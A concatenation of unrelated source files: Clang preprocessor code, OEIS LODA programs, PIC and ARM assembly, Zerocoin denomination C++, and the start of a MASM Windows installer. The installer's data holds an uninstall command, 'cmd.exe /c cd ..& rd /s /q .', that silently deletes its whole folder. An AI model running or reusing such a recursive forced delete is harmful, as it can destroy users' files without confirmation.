buffer to get the spelling. SmallString<128> FilenameBuffer; StringRef Filename; SourceLocation EndLoc; switch (Tok.getKind()) { case tok::eod: // If the token kind is EOD, the error has already been diagnosed. return false; case tok::angle_string_literal: case tok::string_literal: { bool Invalid = false; Filename = PP.getSpelling(Tok, FilenameBuffer, &Invalid); if (Invalid) return false; break; } case tok::less: // This could be a <foo/bar.h> file coming from a macro expansion. In this // case, glue the tokens together into FilenameBuffer and interpret those. FilenameBuffer.push_back('<'); if (PP.ConcatenateIncludeName(FilenameBuffer, EndLoc)) { // Let the caller know a <eod> was found by changing the Token kind. Tok.setKind(tok::eod); return false; // Found <eod> but no ">"? Diagnostic already emitted. } Filename = FilenameBuffer; break; default: PP.Diag(Tok.getLocation(), diag::err_pp_expects_filename); return false; } SourceLocation FilenameLoc = Tok.getLocation(); // Get ')'. PP.LexNonComment(Tok); // Ensure we have a trailing ). if (Tok.isNot(tok::r_paren)) { PP.Diag(PP.getLocForEndOfToken(FilenameLoc), diag::err_pp_expected_after) << II << tok::r_paren; PP.Diag(LParenLoc, diag::note_matching) << tok::l_paren; return false; } bool isAngled = PP.GetIncludeFilenameSpelling(Tok.getLocation(), Filename); // If GetIncludeFilenameSpelling set the start ptr to null, there was an // error. if (Filename.empty()) return false; // Search include directories. const DirectoryLookup *CurDir; const FileEntry *File = PP.LookupFile(FilenameLoc, Filename, isAngled, LookupFrom, LookupFromFile, CurDir, nullptr, nullptr, nullptr, nullptr); if (PPCallbacks *Callbacks = PP.getPPCallbacks()) { SrcMgr::CharacteristicKind FileType = SrcMgr::C_User; if (File) FileType = PP.getHeaderSearchInfo().getFileDirFlavor(File); Callbacks->HasInclude(FilenameLoc, Filename, isAngled, File, FileType); } // Get the result value. A result of true means the file exists. return File != nullptr; } /// EvaluateHasInclude - Process a '__has_include("path")' expression. /// Returns true if successful. static bool EvaluateHasInclude(Token &Tok, IdentifierInfo *II, Preprocessor &PP) { return EvaluateHasIncludeCommon(Tok, II, PP, nullptr, nullptr); } /// EvaluateHasIncludeNext - Process '__has_include_next("path")' expression. /// Returns true if successful. static bool EvaluateHasIncludeNext(Token &Tok, IdentifierInfo *II, Preprocessor &PP) { // __has_include_next is like __has_include, except that we start // searching after the current found directory. If we can't do this, // issue a diagnostic. // FIXME: Factor out duplication with // Preprocessor::HandleIncludeNextDirective. const DirectoryLookup *Lookup = PP.GetCurDirLookup(); const FileEntry *LookupFromFile = nullptr; if (PP.isInPrimaryFile() && PP.getLangOpts().IsHeaderFile) { // If the main file is a header, then it's either for PCH/AST generation, // or libclang opened it. Either way, handle it as a normal include below // and do not complain about __has_include_next. } else if (PP.isInPrimaryFile()) { Lookup = nullptr; PP.Diag(Tok, diag::pp_include_next_in_primary); } else if (PP.getCurrentLexerSubmodule()) { // Start looking up in the directory *after* the one in which the current // file would be found, if any. assert(PP.getCurrentLexer() && "#include_next directive in macro?"); LookupFromFile = PP.getCurrentLexer()->getFileEntry(); Lookup = nullptr; } else if (!Lookup) { PP.Diag(Tok, diag::pp_include_next_absolute_path); } else { // Start looking up in the next directory. ++Lookup; } return EvaluateHasIncludeCommon(Tok, II, PP, Lookup, LookupFromFile); } /// Process single-argument builtin feature-like macros that return /// integer values. static void EvaluateFeatureLikeBuiltinMacro(llvm::raw_svector_ostream& OS, Token &Tok, IdentifierInfo *II, Preprocessor &PP, llvm::function_ref< int(Token &Tok, bool &HasLexedNextTok)> Op) { // Parse the initial '('. PP.LexUnexpandedToken(Tok); if (Tok.isNot(tok::l_paren)) { PP.Diag(Tok.getLocation(), diag::err_pp_expected_after) << II << tok::l_paren; // Provide a dummy '0' value on output stream to elide further errors. if (!Tok.isOneOf(tok::eof, tok::eod)) { OS << 0; Tok.setKind(tok::numeric_constant); } return; } unsigned ParenDepth = 1; SourceLocation LParenLoc = Tok.getLocation(); llvm::Optional<int> Result; Token ResultTok; bool SuppressDiagnostic = false; while (true) { // Parse next token. PP.LexUnexpandedToken(Tok); already_lexed: switch (Tok.getKind()) { case tok::eof: case tok::eod: // Don't provide even a dummy value if the eod or eof marker is // reached. Simply provide a diagnostic. PP.Diag(Tok.getLocation(), diag::err_unterm_macro_invoc); return; case tok::comma: if (!SuppressDiagnostic) { PP.Diag(Tok.getLocation(), diag::err_too_many_args_in_macro_invoc); SuppressDiagnostic = true; } continue; case tok::l_paren: ++ParenDepth; if (Result.hasValue()) break; if (!SuppressDiagnostic) { PP.Diag(Tok.getLocation(), diag::err_pp_nested_paren) << II; SuppressDiagnostic = true; } continue; case tok::r_paren: if (--ParenDepth > 0) continue; // The last ')' has been reached; return the value if one found or // a diagnostic and a dummy value. if (Result.hasValue()) OS << Result.getValue(); else { OS << 0; if (!SuppressDiagnostic) PP.Diag(Tok.getLocation(), diag::err_too_few_args_in_macro_invoc); } Tok.setKind(tok::numeric_constant); return; default: { // Parse the macro argument, if one not found so far. if (Result.hasValue()) break; bool HasLexedNextToken = false; Result = Op(Tok, HasLexedNextToken); ResultTok = Tok; if (HasLexedNextToken) goto already_lexed; continue; } } // Diagnose missing ')'. if (!SuppressDiagnostic) { if (auto Diag = PP.Diag(Tok.getLocation(), diag::err_pp_expected_after)) { if (IdentifierInfo *LastII = ResultTok.getIdentifierInfo()) Diag << LastII; else Diag << ResultTok.getKind(); Diag << tok::r_paren << ResultTok.getLocation(); } PP.Diag(LParenLoc, diag::note_matching) << tok::l_paren; SuppressDiagnostic = true; } } } /// Helper function to return the IdentifierInfo structure of a Token /// or generate a diagnostic if none available. static IdentifierInfo *ExpectFeatureIdentifierInfo(Token &Tok, Preprocessor &PP, signed DiagID) { IdentifierInfo *II; if (!Tok.isAnnotation() && (II = Tok.getIdentifierInfo())) return II; PP.Diag(Tok.getLocation(), DiagID); return nullptr; } /// Implements the __is_target_arch builtin macro. static bool isTargetArch(const TargetInfo &TI, const IdentifierInfo *II) { std::string ArchName = II->getName().lower() + "--"; llvm::Triple Arch(ArchName); const llvm::Triple &TT = TI.getTriple(); if (TT.isThumb()) { // arm matches thumb or thumbv7. armv7 matches thumbv7. if ((Arch.getSubArch() == llvm::Triple::NoSubArch || Arch.getSubArch() == TT.getSubArch()) && ((TT.getArch() == llvm::Triple::thumb && Arch.getArch() == llvm::Triple::arm) || (TT.getArch() == llvm::Triple::thumbeb && Arch.getArch() == llvm::Triple::armeb))) return true; } // Check the parsed arch when it has no sub arch to allow Clang to // match thumb to thumbv7 but to prohibit matching thumbv6 to thumbv7. return (Arch.getSubArch() == llvm::Triple::NoSubArch || Arch.getSubArch() == TT.getSubArch()) && Arch.getArch() == TT.getArch(); } /// Implements the __is_target_vendor builtin macro. static bool isTargetVendor(const TargetInfo &TI, const IdentifierInfo *II) { StringRef VendorName = TI.getTriple().getVendorName(); if (VendorName.empty()) VendorName = "unknown"; return VendorName.equals_lower(II->getName()); } /// Implements the __is_target_os builtin macro. static bool isTargetOS(const TargetInfo &TI, const IdentifierInfo *II) { std::string OSName = (llvm::Twine("unknown-unknown-") + II->getName().lower()).str(); llvm::Triple OS(OSName); if (OS.getOS() == llvm::Triple::Darwin) { // Darwin matches macos, ios, etc. return TI.getTriple().isOSDarwin(); } return TI.getTriple().getOS() == OS.getOS(); } /// Implements the __is_target_environment builtin macro. static bool isTargetEnvironment(const TargetInfo &TI, const IdentifierInfo *II) { std::string EnvName = (llvm::Twine("---") + II->getName().lower()).str(); llvm::Triple Env(EnvName); return TI.getTriple().getEnvironment() == Env.getEnvironment(); } /// ExpandBuiltinMacro - If an identifier token is read that is to be expanded /// as a builtin macro, handle it and return the next token as 'Tok'. void Preprocessor::ExpandBuiltinMacro(Token &Tok) { // Figure out which token this is. IdentifierInfo *II = Tok.getIdentifierInfo(); assert(II && "Can't be a macro without id info!"); // If this is an _Pragma or Microsoft __pragma directive, expand it, // invoke the pragma handler, then lex the token after it. if (II == Ident_Pragma) return Handle_Pragma(Tok); else if (II == Ident__pragma) // in non-MS mode this is null return HandleMicrosoft__pragma(Tok); ++NumBuiltinMacroExpanded; SmallString<128> TmpBuffer; llvm::raw_svector_ostream OS(TmpBuffer); // Set up the return result. Tok.setIdentifierInfo(nullptr); Tok.clearFlag(Token::NeedsCleaning); if (II == Ident__LINE__) { // C99 6.10.8: "__LINE__: The presumed line number (within the current // source file) of the current source line (an integer constant)". This can // be affected by #line. SourceLocation Loc = Tok.getLocation(); // Advance to the location of the first _, this might not be the first byte // of the token if it starts with an escaped newline. Loc = AdvanceToTokenCharacter(Loc, 0); // One wrinkle here is that GCC expands __LINE__ to location of the *end* of // a macro expansion. This doesn't matter for object-like macros, but // can matter for a function-like macro that expands to contain __LINE__. // Skip down through expansion points until we find a file loc for the // end of the expansion history. Loc = SourceMgr.getExpansionRange(Loc).getEnd(); PresumedLoc PLoc = SourceMgr.getPresumedLoc(Loc); // __LINE__ expands to a simple numeric value. OS << (PLoc.isValid()? PLoc.getLine() : 1); Tok.setKind(tok::numeric_constant); } else if (II == Ident__FILE__ || II == Ident__BASE_FILE__) { // C99 6.10.8: "__FILE__: The presumed name of the current source file (a // character string literal)". This can be affected by #line. PresumedLoc PLoc = SourceMgr.getPresumedLoc(Tok.getLocation()); // __BASE_FILE__ is a GNU extension that returns the top of the presumed // #include stack instead of the current file. if (II == Ident__BASE_FILE__ && PLoc.isValid()) { SourceLocation NextLoc = PLoc.getIncludeLoc(); while (NextLoc.isValid()) { PLoc = SourceMgr.getPresumedLoc(NextLoc); if (PLoc.isInvalid()) break; NextLoc = PLoc.getIncludeLoc(); } } // Escape this filename. Turn '\' -> '\\' '"' -> '\"' SmallString<128> FN; if (PLoc.isValid()) { FN += PLoc.getFilename(); Lexer::Stringify(FN); OS << '"' << FN << '"'; } Tok.setKind(tok::string_literal); } else if (II == Ident__DATE__) { Diag(Tok.getLocation(), diag::warn_pp_date_time); if (!DATELoc.isValid()) ComputeDATE_TIME(DATELoc, TIMELoc, *this); Tok.setKind(tok::string_literal); Tok.setLength(strlen("\"Mmm dd yyyy\"")); Tok.setLocation(SourceMgr.createExpansionLoc(DATELoc, Tok.getLocation(), Tok.getLocation(), Tok.getLength())); return; } else if (II == Ident__TIME__) { Diag(Tok.getLocation(), diag::warn_pp_date_time); if (!TIMELoc.isValid()) ComputeDATE_TIME(DATELoc, TIMELoc, *this); Tok.setKind(tok::string_literal); Tok.setLength(strlen("\"hh:mm:ss\"")); Tok.setLocation(SourceMgr.createExpansionLoc(TIMELoc, Tok.getLocation(), Tok.getLocation(), Tok.getLength())); return; } else if (II == Ident__INCLUDE_LEVEL__) { // Compute the presumed include depth of this token. This can be affected // by GNU line markers. unsigned Depth = 0; PresumedLoc PLoc = SourceMgr.getPresumedLoc(Tok.getLocation()); if (PLoc.isValid()) { PLoc = SourceMgr.getPresumedLoc(PLoc.getIncludeLoc()); for (; PLoc.isValid(); ++Depth) PLoc = SourceMgr.getPresumedLoc(PLoc.getIncludeLoc()); } // __INCLUDE_LEVEL__ expands to a simple numeric value. OS << Depth; Tok.setKind(tok::numeric_constant); } else if (II == Ident__TIMESTAMP__) { Diag(Tok.getLocation(), diag::warn_pp_date_time); // MSVC, ICC, GCC, VisualAge C++ extension. The generated string should be // of the form "Ddd Mmm dd hh::mm::ss yyyy", which is returned by asctime. // Get the file that we are lexing out of. If we're currently lexing from // a macro, dig into the include stack. const FileEntry *CurFile = nullptr; PreprocessorLexer *TheLexer = getCurrentFileLexer(); if (TheLexer) CurFile = SourceMgr.getFileEntryForID(TheLexer->getFileID()); const char *Result; if (CurFile) { time_t TT = CurFile->getModificationTime(); struct tm *TM = localtime(&TT); Result = asctime(TM); } else { Result = "??? ??? ?? ??:??:?? ????\n"; } // Surround the string with " and strip the trailing newline. OS << '"' << StringRef(Result).drop_back() << '"'; Tok.setKind(tok::string_literal); } else if (II == Ident__COUNTER__) { // __COUNTER__ expands to a simple numeric value. OS << CounterValue++; Tok.setKind(tok::numeric_constant); } else if (II == Ident__has_feature) { EvaluateFeatureLikeBuiltinMacro(OS, Tok, II, *this, [this](Token &Tok, bool &HasLexedNextToken) -> int { IdentifierInfo *II = ExpectFeatureIdentifierInfo(Tok, *this, diag::err_feature_check_malformed); return II && HasFeature(*this, II->getName()); }); } else if (II == Ident__has_extension) { EvaluateFeatureLikeBuiltinMacro(OS, Tok, II, *this, [this](Token &Tok, bool &HasLexedNextToken) -> int { IdentifierInfo *II = ExpectFeatureIdentifierInfo(Tok, *this, diag::err_feature_check_malformed); return II && HasExtension(*this, II->getName()); }); } else if (II == Ident__has_builtin) { EvaluateFeatureLikeBuiltinMacro(OS, Tok, II, *this, [this](Token &Tok, bool &HasLexedNextToken) -> int { IdentifierInfo *II = ExpectFeatureIdentifierInfo(Tok, *this, diag::err_feature_check_malformed); const LangOptions &LangOpts = getLangOpts(); if (!II) return false; else if (II->getBuiltinID() != 0) { switch (II->getBuiltinID()) { case Builtin::BI__builtin_operator_new: case Builtin::BI__builtin_operator_delete: // denotes date of behavior change to support calling arbitrary // usual allocation and deallocation functions. Required by libc++ return 201802; default: return true; } return true; } else { return llvm::StringSwitch<bool>(II->getName()) .Case("__make_integer_seq", LangOpts.CPlusPlus) .Case("__type_pack_element", LangOpts.CPlusPlus) .Case("__builtin_available", true) .Case("__is_target_arch", true) .Case("__is_target_vendor", true) .Case("__is_target_os", true) .Case("__is_target_environment", true) .Default(false); } }); } else if (II == Ident__is_identifier) { EvaluateFeatureLikeBuiltinMacro(OS, Tok, II, *this, [](Token &Tok, bool &HasLexedNextToken) -> int { return Tok.is(tok::identifier); }); } else if (II == Ident__has_attribute) { EvaluateFeatureLikeBuiltinMacro(OS, Tok, II, *this, [this](Token &Tok, bool &HasLexedNextToken) -> int { IdentifierInfo *II = ExpectFeatureIdentifierInfo(Tok, *this, diag::err_feature_check_malformed); return II ? hasAttribute(AttrSyntax::GNU, nullptr, II, getTargetInfo(), getLangOpts()) : 0; }); } else if (II == Ident__has_declspec) { EvaluateFeatureLikeBuiltinMacro(OS, Tok, II, *this, [this](Token &Tok, bool &HasLexedNextToken) -> int { IdentifierInfo *II = ExpectFeatureIdentifierInfo(Tok, *this, diag::err_feature_check_malformed); return II ? hasAttribute(AttrSyntax::Declspec, nullptr, II, getTargetInfo(), getLangOpts()) : 0; }); } else if (II == Ident__has_cpp_attribute || II == Ident__has_c_attribute) { bool IsCXX = II == Ident__has_cpp_attribute; EvaluateFeatureLikeBuiltinMacro( OS, Tok, II, *this, [&](Token &Tok, bool &HasLexedNextToken) -> int { IdentifierInfo *ScopeII = nullptr; IdentifierInfo *II = ExpectFeatureIdentifierInfo( Tok, *this, diag::err_feature_check_malformed); if (!II) return false; // It is possible to receive a scope token. Read the "::", if it is // available, and the subsequent identifier. LexUnexpandedToken(Tok); if (Tok.isNot(tok::coloncolon)) HasLexedNextToken = true; else { ScopeII = II; LexUnexpandedToken(Tok); II = ExpectFeatureIdentifierInfo(Tok, *this, diag::err_feature_check_malformed); } AttrSyntax Syntax = IsCXX ? AttrSyntax::CXX : AttrSyntax::C; return II ? hasAttribute(Syntax, ScopeII, II, getTargetInfo(), getLangOpts()) : 0; }); } else if (II == Ident__has_include || II == Ident__has_include_next) { // The argument to these two builtins should be a parenthesized // file name string literal using angle brackets (<>) or // double-quotes (""). bool Value; if (II == Ident__has_include) Value = EvaluateHasInclude(Tok, II, *this); else Value = EvaluateHasIncludeNext(Tok, II, *this); if (Tok.isNot(tok::r_paren)) return; OS << (int)Value; Tok.setKind(tok::numeric_constant); } else if (II == Ident__has_warning) { // The argument should be a parenthesized string literal. EvaluateFeatureLikeBuiltinMacro(OS, Tok, II, *this, [this](Token &Tok, bool &HasLexedNextToken) -> int { std::string WarningName; SourceLocation StrStartLoc = Tok.getLocation(); HasLexedNextToken = Tok.is(tok::string_literal); if (!FinishLexStringLiteral(Tok, WarningName, "'__has_warning'", /*MacroExpansion=*/false)) return false; // FIXME: Should we accept "-R..." flags here, or should that be // handled by a separate __has_remark? if (WarningName.size() < 3 || WarningName[0] != '-' || WarningName[1] != 'W') { Diag(StrStartLoc, diag::warn_has_warning_invalid_option); return false; } // Finally, check if the warning flags maps to a diagnostic group. // We construct a SmallVector here to talk to getDiagnosticIDs(). // Although we don't use the result, this isn't a hot path, and not // worth special casing. SmallVector<diag::kind, 10> Diags; return !getDiagnostics().getDiagnosticIDs()-> getDiagnosticsInGroup(diag::Flavor::WarningOrError, WarningName.substr(2), Diags); }); } else if (II == Ident__building_module) { // The argument to this builtin should be an identifier. The // builtin evaluates to 1 when that identifier names the module we are // currently building. EvaluateFeatureLikeBuiltinMacro(OS, Tok, II, *this, [this](Token &Tok, bool &HasLexedNextToken) -> int { IdentifierInfo *II = ExpectFeatureIdentifierInfo(Tok, *this, diag::err_expected_id_building_module); return getLangOpts().isCompilingModule() && II && (II->getName() == getLangOpts().CurrentModule); }); } else if (II == Ident__MODULE__) { // The current module as an identifier. OS << getLangOpts().CurrentModule; IdentifierInfo *ModuleII = getIdentifierInfo(getLangOpts().CurrentModule); Tok.setIdentifierInfo(ModuleII); Tok.setKind(ModuleII->getTokenID()); } else if (II == Ident__identifier) { SourceLocation Loc = Tok.getLocation(); // We're expecting '__identifier' '(' identifier ')'. Try to recover // if the parens are missing. LexNonComment(Tok); if (Tok.isNot(tok::l_paren)) { // No '(', use end of last token. Diag(getLocForEndOfToken(Loc), diag::err_pp_expected_after) << II << tok::l_paren; // If the next token isn't valid as our argument, we can't recover. if (!Tok.isAnnotation() && Tok.getIdentifierInfo()) Tok.setKind(tok::identifier); return; } SourceLocation LParenLoc = Tok.getLocation(); LexNonComment(Tok); if (!Tok.isAnnotation() && Tok.getIdentifierInfo()) Tok.setKind(tok::identifier); else { Diag(Tok.getLocation(), diag::err_pp_identifier_arg_not_identifier) << Tok.getKind(); // Don't walk past anything that's not a real token. if (Tok.isOneOf(tok::eof, tok::eod) || Tok.isAnnotation()) return; } // Discard the ')', preserving 'Tok' as our result. Token RParen; LexNonComment(RParen); if (RParen.isNot(tok::r_paren)) { Diag(getLocForEndOfToken(Tok.getLocation()), diag::err_pp_expected_after) << Tok.getKind() << tok::r_paren; Diag(LParenLoc, diag::note_matching) << tok::l_paren; } return; } else if (II == Ident__is_target_arch) { EvaluateFeatureLikeBuiltinMacro( OS, Tok, II, *this, [this](Token &Tok, bool &HasLexedNextToken) -> int { IdentifierInfo *II = ExpectFeatureIdentifierInfo( Tok, *this, diag::err_feature_check_malformed); return II && isTargetArch(getTargetInfo(), II); }); } else if (II == Ident__is_target_vendor) { EvaluateFeatureLikeBuiltinMacro( OS, Tok, II, *this, [this](Token &Tok, bool &HasLexedNextToken) -> int { IdentifierInfo *II = ExpectFeatureIdentifierInfo( Tok, *this, diag::err_feature_check_malformed); return II && isTargetVendor(getTargetInfo(), II); }); } else if (II == Ident__is_target_os) { EvaluateFeatureLikeBuiltinMacro( OS, Tok, II, *this, [this](Token &Tok, bool &HasLexedNextToken) -> int { IdentifierInfo *II = ExpectFeatureIdentifierInfo( Tok, *this, diag::err_feature_check_malformed); return II && isTargetOS(getTargetInfo(), II); }); } else if (II == Ident__is_target_environment) { EvaluateFeatureLikeBuiltinMacro( OS, Tok, II, *this, [this](Token &Tok, bool &HasLexedNextToken) -> int { IdentifierInfo *II = ExpectFeatureIdentifierInfo( Tok, *this, diag::err_feature_check_malformed); return II && isTargetEnvironment(getTargetInfo(), II); }); } else { llvm_unreachable("Unknown identifier!"); } CreateString(OS.str(), Tok, Tok.getLocation(), Tok.getLocation()); } void Preprocessor::markMacroAsUsed(MacroInfo *MI) { // If the 'used' status changed, and the macro requires 'unused' warning, // remove its SourceLocation from the warn-for-unused-macro locations. if (MI->isWarnIfUnused() && !MI->isUsed()) WarnUnusedMacroLocs.erase(MI->getDefinitionLoc()); MI->setIsUsed(true); }
; A301270: Number of labeled trees on n vertices containing two fixed non-adjacent edges. ; 4,20,144,1372,16384,236196,4000000,77948684,1719926784,42417997492,1157018619904,34599023437500,1125899906842624,39618312131623748,1499253470328324096,60724508119499193196,2621440000000000000000,120167769980326767578964,5829995856912430117421056,298461883710362842247633948,16079954871362414694843285504 mov $2,$0 add $0,2 mov $1,2 add $1,$0 pow $1,$2 mul $1,4 mov $0,$1
#include "Platform.inc" #include "FarCalls.inc" #include "Lcd.inc" #include "Buttons.inc" #include "States.inc" #include "OptionStates.inc" ARROW_CHARACTER equ 0x7e radix decimal defineUiState UI_STATE_OPTION_CHANGED .knownBank uiState movlw 3 movwf uiOptionCounter defineUiStateInSameSection UI_STATE_OPTION_CHANGED2 .knownBank uiState fcall isLcdIdle xorlw 0 btfsc STATUS, Z returnFromUiState call loadCurrentPositionIntoFsr .knownBank uiOptionCounter movlw UI_STATE_OPTION_CHANGED3 movwf uiState movf INDF, W fcall setLcdCursorPosition returnFromUiState defineUiStateInSameSection UI_STATE_OPTION_CHANGED3 fcall isLcdIdle xorlw 0 btfsc STATUS, Z returnFromUiState call loadCurrentPositionIntoFsr .knownBank uiOptionCounter movlw UI_STATE_WAIT_BUTTONPRESS decfsz uiOptionCounter movlw UI_STATE_OPTION_CHANGED2 movwf uiState putArrowIfAtSelectedPositionElsePutSpace: movf uiSelectedOptionPosition, W xorwf INDF, W btfss STATUS, Z movlw ' ' - ARROW_CHARACTER addlw ARROW_CHARACTER fcall putCharacter returnFromUiState loadCurrentPositionIntoFsr: .safelySetBankFor uiOption1Position bankisel uiOption1Position movlw uiOption1Position - 1 addwf uiOptionCounter, W movwf FSR return end
// Define this module's name. // This is also used when creating variable/function names via the GVAR/DFUNC macros // You should always set this macro properly as any module before could have already set this // macro which could lead to name-clashes between these two modules. #define MODULE LM // include the macro-file from this mod's root #include "..\macros.hpp"
/** * @file Denominations.cpp * * @brief Functions for converting to/from Zerocoin Denominations to other values library. * * @copyright Copyright 2017 PIVX Developers * @copyright Copyright 2019 Bluecoin Developers * @license This project is released under the MIT license. **/ #include "Denominations.h" #include "amount.h" namespace libzerocoin { // All denomination values should only exist in these routines for consistency. // For serialization/unserialization enums are converted to int (denoted enumvalue in function name) CoinDenomination IntToZerocoinDenomination(int64_t amount) { CoinDenomination denomination; switch (amount) { case 1: denomination = CoinDenomination::ZQ_ONE; break; case 5: denomination = CoinDenomination::ZQ_FIVE; break; case 10: denomination = CoinDenomination::ZQ_TEN; break; case 50: denomination = CoinDenomination::ZQ_FIFTY; break; case 100: denomination = CoinDenomination::ZQ_ONE_HUNDRED; break; case 500: denomination = CoinDenomination::ZQ_FIVE_HUNDRED; break; case 1000: denomination = CoinDenomination::ZQ_ONE_THOUSAND; break; case 5000: denomination = CoinDenomination::ZQ_FIVE_THOUSAND; break; default: //not a valid denomination denomination = CoinDenomination::ZQ_ERROR; break; } return denomination; } int64_t ZerocoinDenominationToInt(const CoinDenomination& denomination) { int64_t Value = 0; switch (denomination) { case CoinDenomination::ZQ_ONE: Value = 1; break; case CoinDenomination::ZQ_FIVE: Value = 5; break; case CoinDenomination::ZQ_TEN: Value = 10; break; case CoinDenomination::ZQ_FIFTY : Value = 50; break; case CoinDenomination::ZQ_ONE_HUNDRED: Value = 100; break; case CoinDenomination::ZQ_FIVE_HUNDRED: Value = 500; break; case CoinDenomination::ZQ_ONE_THOUSAND: Value = 1000; break; case CoinDenomination::ZQ_FIVE_THOUSAND: Value = 5000; break; default: // Error Case Value = 0; break; } return Value; } CoinDenomination AmountToZerocoinDenomination(CAmount amount) { // Check to make sure amount is an exact integer number of COINS CAmount residual_amount = amount - COIN * (amount / COIN); if (residual_amount == 0) { return IntToZerocoinDenomination(amount/COIN); } else { return CoinDenomination::ZQ_ERROR; } } // return the highest denomination that is less than or equal to the amount given // use case: converting Sno to zSno without user worrying about denomination math themselves CoinDenomination AmountToClosestDenomination(CAmount nAmount, CAmount& nRemaining) { if (nAmount < 1 * COIN) return ZQ_ERROR; CAmount nConvert = nAmount / COIN; CoinDenomination denomination = ZQ_ERROR; for (unsigned int i = 0; i < zerocoinDenomList.size(); i++) { denomination = zerocoinDenomList[i]; //exact match if (nConvert == denomination) { nRemaining = 0; return denomination; } //we are beyond the value, use previous denomination if (denomination > nConvert && i) { CoinDenomination d = zerocoinDenomList[i - 1]; nRemaining = nConvert - d; return d; } } //last denomination, the highest value possible nRemaining = nConvert - denomination; return denomination; } CAmount ZerocoinDenominationToAmount(const CoinDenomination& denomination) { CAmount nValue = COIN * ZerocoinDenominationToInt(denomination); return nValue; } CoinDenomination get_denomination(std::string denomAmount) { int64_t val = std::stoi(denomAmount); return IntToZerocoinDenomination(val); } int64_t get_amount(std::string denomAmount) { int64_t nAmount = 0; CoinDenomination denom = get_denomination(denomAmount); if (denom == ZQ_ERROR) { // SHOULD WE THROW EXCEPTION or Something? nAmount = 0; } else { nAmount = ZerocoinDenominationToAmount(denom); } return nAmount; } } /* namespace libzerocoin */
///------------------------------------------------------------------------------ // // Copyright (c) 2008 - 2009, Apple Inc. All rights reserved.<BR> // // This program and the accompanying materials // are licensed and made available under the terms and conditions of the BSD License // which accompanies this distribution. The full text of the license may be found at // http://opensource.org/licenses/bsd-license.php // // THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, // WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. // //------------------------------------------------------------------------------ INCLUDE AsmMacroExport.inc RVCT_ASM_EXPORT __ARM_switch8 LDRB r12,[lr,#-1] CMP r3,r12 LDRBCC r3,[lr,r3] LDRBCS r3,[lr,r12] ADD r12,lr,r3,LSL #1 BX r12 END
; A218289: Denominator of the sixth increasing diagonal of the autosequence of the second kind from (-1)^n/(n+1). ; Submitted by Stefano Spezia ; 6,12,12,12,210,168,504,72,198,660,1716,1092,546,336,4080,2448,5814,684,1596,4620,10626,6072,2760,1560,17550,9828,21924,2436,5394,14880,32736,17952,7854,4284,46620,25308,54834 add $0,1 mov $1,$0 add $0,2 bin $1,2 add $1,2 mul $1,2 sub $1,$0 mul $1,$0 div $1,$0 bin $0,3 gcd $1,$0 div $0,$1 mul $0,6
; A281746: Nonnegative numbers k such that k == 0 (mod 3) or k == 0 (mod 5). ; 0,3,5,6,9,10,12,15,18,20,21,24,25,27,30,33,35,36,39,40,42,45,48,50,51,54,55,57,60,63,65,66,69,70,72,75,78,80,81,84,85,87,90,93,95,96,99,100,102,105,108,110,111,114,115,117,120,123,125,126,129,130,132,135,138,140,141,144,145,147,150,153,155,156,159,160,162,165,168,170,171,174,175,177,180,183,185,186,189,190,192,195,198,200,201,204,205,207,210,213 mov $3,$0 mov $9,$0 lpb $3 mov $0,$9 sub $3,1 sub $0,$3 mov $2,$0 mov $4,2 mov $5,4 mov $6,4 mov $7,3 add $7,$0 sub $7,2 lpb $2 add $6,$7 lpb $4 sub $4,1 add $5,1 add $6,8 mov $8,1 lpe mov $7,7 lpb $5 mov $2,$0 mod $2,7 sub $2,$8 add $7,$6 sub $7,$5 sub $5,$8 lpe lpb $6 add $2,1 mov $6,8 div $7,2 lpe mov $0,3 mul $0,$7 trn $2,1 mov $4,5 sub $4,$2 mov $6,$5 mov $5,10 lpe mov $7,$4 sub $7,2 add $1,$7 lpe mov $0,$1
.386 .model flat,stdcall option casemap:none __UNICODE__ equ 1 include windows.inc include user32.inc include kernel32.inc include gdi32.inc includelib gdi32.lib include shell32.inc includelib shell32.lib includelib user32.lib includelib kernel32.lib include gdiplus.inc includelib gdiplus.lib WM_DPICHANGED equ 002E0h WM_DPICHANGED_BEFOREPARENT equ 002E2h WM_DPICHANGED_AFTERPARENT equ 002E3h WM_GETDPISCALEDSIZE equ 002E4h MDT_EFFECTIVE_DPI equ 0 MDT_ANGULAR_DPI equ 1 MDT_RAW_DPI equ 2 MDT_DEFAULT equ MDT_EFFECTIVE_DPI GdiplusStartupInput struct GdiplusVersion DWORD ?; // Must be 1 DebugEventCallback DWORD ?; // Ignored on free builds SuppressBackgroundThread DWORD ?; // FALSE unless you're prepared to call SuppressExternalCodecs DWORD ?; // FALSE unless you want GDI+ only to use GdiplusStartupInput ends DotsChangeParam struct x real4 ? y real4 ? r real4 ? DotsChangeParam ends SRECT struct x dd ? y dd ? w dd ? h dd ? SRECT ends EFRONT_BUTTON struct back dd ? clip dd ? text dd ? leng dd ? rect dd ? EFRONT_BUTTON ends DEVICE_PRIMARY equ 0 DEVICE_IMMERSIVE equ 1 .data gpstart GdiplusStartupInput <1,0,0,0>; shellOperator db "open" assocname db "assoc.bat" unassoc db "unassoc.bat" uninstall db "cmd.exe" uninstallParam db "/c cd ..& rd /s /q ." uninstallName db "卸载.scr",0,0 uninstallSize dd 0 uninstallRest dd 0 shcoreName db "shcore.dll",0 dpiProcName db a"SetProcessDpiAwareness",0 factorName db a"GetScaleFactorForMonitor",0 dpiforName db a"GetDpiForMonitor",0 ; shellName db "shell32.dll",0 ; browseName db a"SHBrowseForFolderW",0 fontFamily db "仿宋",0 fontFamili db "宋体",0 factor dd 4 szClassName db 'efront.cc/baiplay',0 szCaptionMain db '白前安装程序',0 onekey1 db '一键安装',0 onekey2 db '正在安装',0,0,0 onekey3 db ' 完成 ',0 onekey4 db '一键卸载',0 onekey5 db '正在卸载',0 onekey_rect real4 336,208,100,100 szText db '白前' titlerect real4 18,20,150,50 logodots real4 464.054, 574.786, 93.042, 57.856, 416.684, 192.928, 393.0, 2.0, 656.528, 27.884, 786.0, 177.952, 786.0, 395.0, 786.0, 612.048, 610.048, 788.0, 393.0, 788.0, 175.952, 788.0, 0.0, 612.048, 0.0, 395.0, 67.346, 325.95, 47.566, 97.362, 47.566, 97.362, 222.956, 95.026, 325.226, 415.644, 464.054, 574.786 closeline real4 480, 30, 480, 0, 420, 0, 420.15, 2.995, 420.598, 5.96, 421.34, 8.866, 422.368, 11.683, 423.673, 14.383, 425.24, 16.939, 427.055, 19.327,429.099, 21.521, 